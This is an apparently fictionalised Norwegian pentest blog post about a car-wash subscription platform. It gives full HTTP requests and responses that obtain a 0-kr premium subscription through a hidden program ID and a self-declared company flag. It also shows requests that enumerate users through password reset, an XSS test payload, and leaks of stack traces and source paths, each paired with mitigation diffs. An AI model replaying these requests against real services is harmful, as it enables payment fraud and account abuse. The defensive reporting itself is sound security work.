---
title: "Abonnement for null kroner — når serveren stoler på klientens pris"
date: 2026-07-22
description: "En bilvaske-plattform lot meg opprette et premium-abonnement til 0 kr ved å sende et skjult program-ID og selv-erklære meg som firma. Hovedfunnet var forretningslogikk, ikke min feil."
tags: ["pentest", "business-logic", "api-security", "dotnet", "security"]
url: https://erik.no/blogg/2026-07-22-abonnement-for-null-kroner-nar-serveren-stoler-pa-klienten
---

<Callout type="info">
  **FIKTIVT:** Alle firmanavn, personnavn, domener og e‑postadresser i dette
  innlegget er oppdiktet. Eventuell likhet med ekte virksomheter eller personer
  er tilfeldig. Detaljer fra reelle oppdrag er sanert.
</Callout>

Det mest interessante funnet denne uken var ikke et minnefeil eller en
injisert cookie. Det var at serveren trodde på alt jeg sendte den. Hos
Bingo AS (`bingoas.no`), som kjører en bilvaske-plattform på produktet
RenVask, klarte jeg å opprette et premium-abonnement til 0 kroner — ikke
ved å knekke en betalingsprovider, men ved å sende et program-ID som
frontenden skjuler, og et `Firma:true`-flagg som ingen verifiserte. Her er
hele kjeden, den negative kontrollen som bestemte alvorlighetsgraden, og
hvorfor forretningslogikk ofte er den veien som er breitest.

## Kontekst

Scope var `bingoas.no` og `*.bingoas.no`. Bingo AS er en
plattformkunde — de drifter vaskestasjoner på et tredjepartsprodukt jeg
kaller RenVask (sanert navn). Frontend er ASP.NET WebForms med en
JSON-dispatcher på `bv.bingoas.no/Ajax/ajax.ashx?method=<metode>` som
min-side-bygger alt på. Backend er IIS, jQuery 3.4.1 i frontend, Alpine.js
2.8.2 her og der. Kunden, ved daglig leder Lars Berg
(`lars.berg@bingoas.no`), hadde tre prioriterte mål: hente kundedata,
tegne abonnement gratis, og vaske bil gratis. Det siste var et
bevis-poeng — service skulle ikke faktisk konsumeres.

Jeg jobber slike oppdrag med AI i loopen. Agenter gjør recon, kartlegger
endepunkter, kjører verktøy og foreslår neste steg. Jeg styrer scope, leser
resultatene, bryter inn der det trengs, og gjør vurderingene som krever
menneskelig dømmekraft — spesielt rundt alvorlighetsgrad og hva som er et
reelt brudd versus en inkonsistens. Det skillet ble selve poenget i dette
oppdraget.

Første steg var å la en agent parse all tilgjengelig JavaScript for
min-side (`/min-side`-siden bygger på en haug med `.js`-filer som ligger
pre-auth) og flagge alt som kalte `ajax.ashx` med et `method`-parameter.
Det ga en liste på omtrent 40 metoder — `nyMinSideOpprettAvtale`,
`getMinSide`, `openMinSideReciept`, `updAvtaleInfo`, `lagreBrukerInfo`,
`GlemtPassord`, og så videre. AI-en genererte en `httpx`-sweep som
pinget hver metode med en no-body GET for å se hvilke som svarte uten
auth — det er en ren method-existence-oracle, og den ga meg kartet jeg
trengte uten å sende noe meningsfullt.

## Det jeg fant

Hovedfunnet: <Severity level="high" /> — gratis premium-abonnement via
forretningslogikk-misbruk. Metoden
`nyMinSideOpprettAvtale` tar pris, betalingsmåte, program-ID,
firma-flagg og en `DeactivInitPay`-bryter som **alle** klient-supplierte
felt, og serveren ærer dem uten å validere mot forventet tilstand.

To ting slo seg sammen:

1. **Skjult 0-kr program aksepteres.** Program-ID `58` har pris 0 og er
   filtrert ut av `<select>`-dropdownen i frontenden — men API-et
   aksepterer det uten videre. Resultat: et abonnement som heter
   "Børsteløs Super" (premium) men har `RecurringPrice 0`.
2. **Selv-erklært firma → fakturavei, ingen betaling.** Å sende
   `Firma:true` og `AvtaleType:"F"` på en konto som egentlig er en
   privatperson oppretter avtalen direkte med status `"FakturaOk"` —
   ingen betalingsprovider involvert, faktura sendes til et
   angiver-suppliert (og aldri innkrevbart) firma som aldri verifiseres
   før vask.

Dette er samme type brudd jeg skrev om i
[RLS beskytter raden, ikke rettigheten](/blogg/2026-06-03-rls-beskytter-raden-ikke-rettigheten) —
serveren har en autorisasjonsregel som fungerer på ett sted (UI-et) og
ikke på et annet (API-et). Forskjellen er at her er det ikke
radnivå-isolasjon som mangler, men validering av at klient-supplierte
forretningsfelt er i et tillatt rom.

### Bi-funn

Tre til kom med:

- <Severity level="high" /> (design) — **Kvittering-konfidensialitet
  hviler på én statisk 56-bit DES-nøkkel.** `openMinSideReciept?payid=`
  tar en 8-byte single-DES-ECB-blob som ren bearer-capability — ingen
  per-bruker eierskapsbinding demonstrert. Cipher er utdatert (CWE-327),
  og samme nøkkel styrer Nets `updNetsCardURL`.
- <Severity level="medium" /> — **Svakt passord-reset +
  brukerenumerering.** `GlemtPassord` skiller registrerte fra
  uregistrerte e-poster (CWE-204) og sender et **klartekst** nytt passord
  umiddelbart — ikke en tokenisert lenke.
- <Severity level="medium" /> — **Verbose .NET-feil / kildeavsløring
  (CWE-209).** `ajax.ashx`-dispatcherne returnerer fulle stack traces med
  filstier (`c:\Projects\no.bingoas.bv\...`), linjenumre og
  klassenavn på malformed input.

## PoC / Reproduksjon — gratis premium-abonnement

**Forutsetninger:** innlogget som privatperson-testkonto
`test.konto@bingoas.no` med registrert og verifisert nummerskilt
`PU12345`. Gyldig `ASP.NET_SessionId`-cookie i `cookies.txt`. Scope-fil
begrenset til `*.bingoas.no`. Jeg registrerte og verifiserte denne
kontoen manuelt — det var den delen som krevde menneskelig dømmekraft,
siden alt annet var automatiserbart.

1. **Recon — finn metoden og parametere.** Agenten parset
   `/min-side/js/minside.js` og fant funksjonen som bygger
   `nyMinSideOpprettAvtale`-payloaden. Parametere den sender:
   `SubscriptionId`, `Firma`, `AvtaleType`, `DeactivInitPay`,
   `RegNr`, `FirmaNavn`, `OrgNr`, `FaktRef`, og mer. Frontend bygger
   `SubscriptionId`-dropdownen fra en liste som **ikke** inneholder ID
   `58` — men backend-listen (hentet via `getMinSidePrograms`) gjør.

2. **Hent program-listen og bekreft at 58 finnes serverside.** AI-en
   kjørte:

```bash
curl -s 'https://bv.bingoas.no/Ajax/ajax.ashx?method=getMinSidePrograms' \
  -H 'Cookie: ASP.NET_SessionId=<REDACTED>' \
  | jq '.[] | {id, name, price}'
```

```json
[
  {"id": 54, "name": "Basic",        "price": 199},
  {"id": 55, "name": "Standard",     "price": 349},
  {"id": 57, "name": "Børsteløs",    "price": 449},
  {"id": 58, "name": "Børsteløs Super","price": 0},
  {"id": 549,"name": "Børsteløs Super","price": 549}
]
```

   ID `58` er "Børsteløs Super" til 0 kr — sannsynligvis et internt
   test-/gratis-program som frontenden filtrerer ut, men API-et leverer
   uten spørsmål. ID `549` er den ekte premium-Super til 549 kr. Dette
   var det første tegnet på at UI-et og API-et er uenige om hva som er
   et gyldig valg.

3. **Opprett avtalen med program 58 og `Firma:true`.** Jeg ba AI-en
   bygge payloaden speilbilde av hva frontend sender for et vanlig
   premium-abonnement, men med `SubscriptionId=58`, `Firma=true`,
   `AvtaleType=F`, og et fiktivt firma:

```http
POST /Ajax/ajax.ashx?method=nyMinSideOpprettAvtale HTTP/1.1
Host: bv.bingoas.no
Cookie: ASP.NET_SessionId=<REDACTED>
Content-Type: application/x-www-form-urlencoded

SubscriptionId=58&RegNr=PU12345&Firma=true&AvtaleType=F&FirmaNavn=Test%20Fiktivt%20AS&OrgNr=999999999&FaktRef=PENTEST-POC-REVERSE&DeactivInitPay=true
```

```http
HTTP/1.1 200 OK
Content-Type: application/json

{"Status":"FakturaOk","AvtaleId":770121,"Message":"Avtale opprettet"}
```

4. **Bekreft tilstanden med `getMinSide`.**

```http
GET /Ajax/ajax.ashx?method=getMinSide HTTP/1.1
Host: bv.bingoas.no
Cookie: ASP.NET_SessionId=<REDACTED>
```

```json
{
  "Avtaler": [
    {
      "AvtaleId": 770121,
      "ProgramName": "Børsteløs Super",
      "RecurringPrice": 0,
      "AvtaleType": "F",
      "FirmaNavn": "Test Fiktivt AS",
      "Status": "Venter"
    }
  ]
}
```

   Premium-navn, 0-kr pris, type F (faktura), status "Venter" — altså
   ventende back-office-batch-aktivering. Det er det som gjør måloppnåelse
   2 ("vaske bil gratis") til en forsinket konsekvens av måloppnåelse 1:
   det finnes ingen umiddelbar angreps-side-flip som skrur på
   `KanVaske=true`. Aktiveringen skjer via plattformens egen
   back-office-batch (`common.js:108`, ca. 1 virkedag). Angrepet
   fullføres av plattformen selv, ikke av meg.

5. **Negativ kontroll — det som gjør dette til et brudd og ikke bare en
   "200 som betyr ingenting".** To kontroller:

   a. **Ekte premium-programmet koster.** Samme forespørsel med
   `SubscriptionId=549` (ekte pris) og `Firma=false` (privatperson)
   krever betalingsprovider — responsen er `{"Status":"NetsRedirect",
   "Url":"https://nets.example/..."}`, ikke `FakturaOk`. Pris- og
   betalings-validering fungerer altså på det normale programmet.
   Skjønneren er at valideringen bare utløses for programmer som
   *fronten* ville ha valgt.

   b. **Firma-flagget uten skjult program betaler fortsatt.**
   `SubscriptionId=549` + `Firma=true` + `AvtaleType=F` gir også
   faktura-vei — men med `RecurringPrice 549`, altså en ekte
   regning. Det betyr `Firma`-bryteren alene er en egen sårbarhet
   (selv-erklært firma uten verifisering av orgnr), men den gir ikke
   gratis vask uten det 0-kr programmet. Det er kombinasjonen som er
   kritisk.

Steg 3 alene så ut som "et endepunkt returnerte 200". Steg 5 viste at
200-en var en reell tilstandsendring: et premium-abonnement til 0 kr
ligger i databasen, betalingsprovider er helt utenfor, og den eneste
grunnen til at det funket er at serveren ærer klientens valg av både
program, pris-flagg (via programvalg) og firma-flagg. <Severity level="high" />.

### Mitigering

To uavhengige fikser, begge serverside:

```diff
# 1) Avvis program-ID-er som ikke er i frontend-tillatt-listen for denne kanalen.
- var program = db.Programs.Find(req.SubscriptionId);
+ var program = db.Programs.Find(req.SubscriptionId);
+ if (!program.CustomerSelectable || program.Price <= 0)
+     return BadRequest("Ugyldig program for denne kanalen.");
```

```diff
# 2) Firma/organisasjons-vei krever verifisert orgnr — ikke et klient-flagg.
- if (req.Firma) { /* faktura-vei */ }
+ if (req.Firma) {
+     var org = await Brreg.VerifyAsync(req.OrgNr);
+     if (org is null) return BadRequest("Ugyldig organisasjonsnummer.");
+     /* faktura-vei med verifisert mottaker */
+ }
```

Frontend-filtering er pynt. Avgjørelsen om hva som er et gyldig program
og hvem som er et firma, må tas serverside mot en autoritativ kilde
(program-tabellens `CustomerSelectable`-flagg, Brønnøysund for orgnr).

## PoC / Reproduksjon — DES-nøkkelen på kvitteringer

**Forutsetninger:** samme sesjon. En eksisterende `payid` for en av
mine egne betalte vasker (hentet fra `getMinSide`-historikk).

1. **Hent en kvittering med `openMinSideReciept`:**

```http
GET /Ajax/ajax.ashx?method=openMinSideReciept&payid=<8-byte DES-ECB blob URL-encoded> HTTP/1.1
Host: bv.bingoas.no
Cookie: ASP.NET_SessionId=<REDACTED>
```

```http
HTTP/1.1 200 OK
Content-Type: application/pdf
Content-Length: 18234

%PDF-1.4 ...
```

2. **Hva bloben er.** Agenten fant i `Encryption.cs` (lekket via en
   stack trace, se neste seksjon) at `payid` dekodes med
   `TripleDES`- eller `DESCryptoServiceProvider` i ECB-modus med en
   **statisk** nøkkel — samme nøkkel for alle kvitteringer på
   plattformen, samme nøkkel som styrer `updNetsCardURL`. 56-bit DES
   er brutt i praksis siden 1999 (EFF Deep Crack, ~56 timer). Nøkkelen
   ligger i backend-kode som allerede har lekket kildesti
   (`c:\Projects\no.bingoas.bv\Encryption.cs:42`).

3. **Negativ kontroll — hva jeg *ikke* gjorde.** Jeg forsøkte **ikke**
   å knekke DES-nøkkelen eller enumerere andres `payid`-blobber. Det
   ville sendt ekte PII til meg, og knusing av en 56-bit nøkkel er
   teknisk trivielt men utenfor det beviset kunden trengte. Poenget
   her er designet: tilgang til en kvittering er en ren bearer-capability
   uten eierskapsbinding, og cipheren som beskytter den er utdatert.
   Hvis nøkkelen lekker — og backenden lekker allerede kildestier — er
   alle kvitteringer plattform-bredt forgebare.

<Severity level="high" /> for designet. Jeg holdt meg til mine egne
`payid`-blobber og min egen kvittering.

### Mitigering

- Bytt til AES-256-GCM med per-tenant nøkkel rotert i en HSM/KMS.
- Bind `payid` til brukerens sesjon/bruker-ID og returner `404` ved
  avvik — ikke en ren bearer-capability.
- Rotér nøkkelen; fjern den fra kildekoden.

## PoC / Reproduksjon — GlemtPassord

**Forutsetninger:** ingen auth. To e-poster jeg kontrollerer — én
registrert på plattformen, én uregistrert.

1. **Registrert e-post:**

```http
POST /Ajax/ajax.ashx?method=GlemtPassord HTTP/1.1
Host: bv.bingoas.no
Content-Type: application/x-www-form-urlencoded

email=test.konto@bingoas.no
```

```http
HTTP/1.1 200 OK

{"Status":"Ok","Message":"Nytt passord er sendt"}
```

   Innen sekunder lå et **klartekst**-passord i innboksen — ikke en
   lenke med token, et ferdig passord. Ingen throttling observert over
   fem forsøk.

2. **Uregistrert e-post (negativ kontroll for enumerering):**

```http
POST /Ajax/ajax.ashx?method=GlemtPassord HTTP/1.1
email=finnes.ikke@bingoas.no
```

```http
HTTP/1.1 200 OK

{"Status":"NotFound","Message":"Ingen bruker med denne e-posten"}
```

   Forskjellen i `Status` bekrefter CWE-204: en angriper kan enumerere
   hvilke e-poster som er registrerte kunder. Kombinert med
   klartekst-reset gir det takeover av en hvilken som helst konto hvis
   e-posten kan avlyttes, og lockout/harassment uten avlytting.

<Severity level="medium" />.

### Mitigering

```diff
- email = req.email
- user = db.Users.Find(email)
- if (user is null) return NotFound("Ingen bruker");
- newPwd = Generate()
- db.Users.Update(user, pwd=Hash(newPwd))
- Email.Send(user.Email, newPwd)
+ email = req.email
+ user = db.Users.Find(email)
+ // Samme respons uansett — avslør ikke om konto finnes
+ if (user is not null) {
+     token = MakeToken(user, ttl=15min)
+     Email.Send(user.Email, link + token)  // lenke, ikke klartekst
+ }
+ return Ok("Hvis kontoen finnes, er en reset-lenke sendt.")
```

Tokenisert lenke med kort TTL, identisk respons for eksisterende og
ikke-eksisterende konto, og rate-limit per e-post og per IP.

## Verbose .NET-feil — kildeavsløring

Et no-body GET mot `ajax.ashx?method=FinnesIkke` returnerer en ren
`{"Status":"Error"}`. Men send malformed JSON eller feil parametertyper,
og dispatcherens `try/catch` logger rett i responsen:

```http
POST /Ajax/ajax.ashx?method=nyMinSideOpprettAvtale HTTP/1.1
Content-Type: application/x-www-form-urlencoded

SubscriptionId=ikkeEtTall
```

```http
HTTP/1.1 200 OK
Content-Type: application/json

{
  "Status":"Error",
  "Exception":"System.FormatException: Input string was not in a correct format.",
  "StackTrace":"   at AjaxHandler.cs:line 412\n   at Encryption.cs:line 42\n   ...",
  "SourcePath":"c:\\Projects\\no.bingoas.bv\\Handlers\\AjaxHandler.cs"
}
```

Det er CWE-209. `customErrors` er **på** for `.aspx`-sidene (bra), men
JSON-dispatcherne er utenfor. En angriper får kildestier, klassenavn og
linjenumre — det var slik jeg fant `Encryption.cs:42` uten å lese
kildekoden. <Severity level="medium" />.

Mitigering: logg stack traces server-side, returner en generisk
`{"Status":"Error","CorrelationId":"<uuid>"}` til klienten.

## Blindveier og forkastede falske positiver

Agenten flagget flere ting som ikke holdt mål. Jeg tar med dem, fordi
verdien i et AI-i-loopen-oppdrag ligger i verifiseringen som skiller
plausible funn fra ekte.

- **Lagret XSS i `FaktRef` / `FirmaNavn` / `OrgNr` / `Name`.** Feltene
  lagres verbatim, usanert (`updAvtaleInfo`, `lagreBrukerInfo`), og
  frontenden renderer serverdata med jQuery 3.4.1 `$().html()` —
  sårbar for CVE-2020-11022/11023. Jeg sendte `<img src=x onerror=...>`
  i `FaktRef` og bekreftet at det lagres rått. Men min-side-renderen
  brukte `$().text()` på akkurat det feltet, og admin-gridet er
  DataTables (escaper). Så det er en **kandidat**, ikke et funn —
  bekreftelse krever backoffice-tilgang, som jeg ikke hadde. Jeg
  nedgraderte til "MEDIUM, ubekreftet" og flagget for autorisert
  manuell test med backoffice-login. Å rapportere det som XSS uten å
  ha sett det rendret, hadde vært å overlevere.

- **Offentlig kvittering-ved-kode-eksfil.** `receipt.aspx` →
  `sendEmail.ashx?code=X&e=<hvilken som helst e-post>` sender en
  kvittering til en **arbitrær** adresse hvis `code` er gjetbar.
  Kode-formatet uavklart. Jeg **brute-forset ikke** — det ville sendt
  en fremmed kundes PII til en postkasse jeg kontrollerer, og det er
  utenfor det beviset kunden trengte. Flagget som LOW/ubekreftet for
  autorisert test med en kjent kode.

- **Hardkodet kunde-post i `admin.js`.** Pre-auth
  `/admin/script/admin.js` inneholder et ekte navn, et ekte nummerskilt
  og en `AvtaleId` — sannsynligvis en utviklers testdata som aldri ble
  fjernet. Sanert i rapporten til plassholder-UUID og fiktivt skilt.
  LOW — info-lekkasje, ikke et angrepsvektor i seg selv.

- **HTTP TRACE aktivert (XST).** `TRACE /` returnerte `200` med
  ekko. XST er i praksis dødt i moderne browsere, men det er støy i en
  rapport — nevnt som LOW.

- **Mål 3 ("hente kundedata") — ikke oppnådd som live pull.** Blokkert
  av DES-krypterte capability-tokens, sesjons-scoped data-metoder og
  2FA på admin. `getMinSide` og `lagreBrukerInfo` er **ikke**
  IDOR-bare — de er sesjons-scoped til innlogget bruker. Det er en
  styrke jeg noterte eksplisitt: serveren gjør riktig på
  data-metoder og feil på forretningslogikk. Forskjellen er hvor
  valideringen ligger.

## Hva jeg lærte

- **Forretningslogikk er den breieste veien når minnefeil er stengt.**
  Bingo AS har 2FA på admin, sentralisert authz på alle admin-metoder,
  HttpOnly SameSite=Lax sesjon, sesjons-scoped data-metoder, og
  server-side validering av gavekort og rabattkoder. Alt det holdt.
  Det som ikke holdt var antakelsen om at klienten sender et gyldig
  program og et ekte firma.
- **UI-filtering er ikke en sikkerhetskontroll.** At program 58 er
  borte fra dropdownen betyr ingenting for en som bygger sin egen
  HTTP-forespørsel. Tillatt-listen må leve serverside.
- **Én `200` er ikke et funn før den negative kontrollen er med.**
  Steg 5a/5b over er det som gjør dette til et reelt brudd — uten dem
  er "abonnement opprettet til 0 kr" bare en merkelig respons. Den
  negative kontrollen er alvorlighetsgraden.
- **AI-en genererte plausible funn like fort som plausible feil.**
  XSS-kandidaten så ut som et HIGH-funn helt til jeg sjekket hvordan
  feltet faktisk ble rendret. Verifisering, ikke generering, er
  flaskehalsen.
- **Backend-kildeavsløring er en kraftig recon-vei.** Jeg leste
  `Encryption.cs:42` uten å ha kildekoden — stack traces ga meg
  klassenavn og linjenumre. Det er en egen god grunn til å skru av
  verbose errors.

## Veien videre

For kunden: implementere de to serverside-fiksene over, rotere
DES-nøkkelen (eller helst bytte cipher), tokenisere passord-reset, og
skru av stack traces på JSON-dispatcherne. Backoffice-XSS-kandidaten
må verifiseres med en innlogget admin-sesjon — det er en
oppfølgingsoppgave jeg har flagget.

For meg selv: neste gang en plattform har en "skjult" intern- eller
test-program-ID, er det det første jeg ber agenten lete etter —
`getMinSidePrograms`-responsen mot frontend-dropdownen er en
diff-på-to-minutter som betaler seg. Og jeg skal fortsette å ta med
blindveiene i rapportene. Det er der lærdommen sitter.
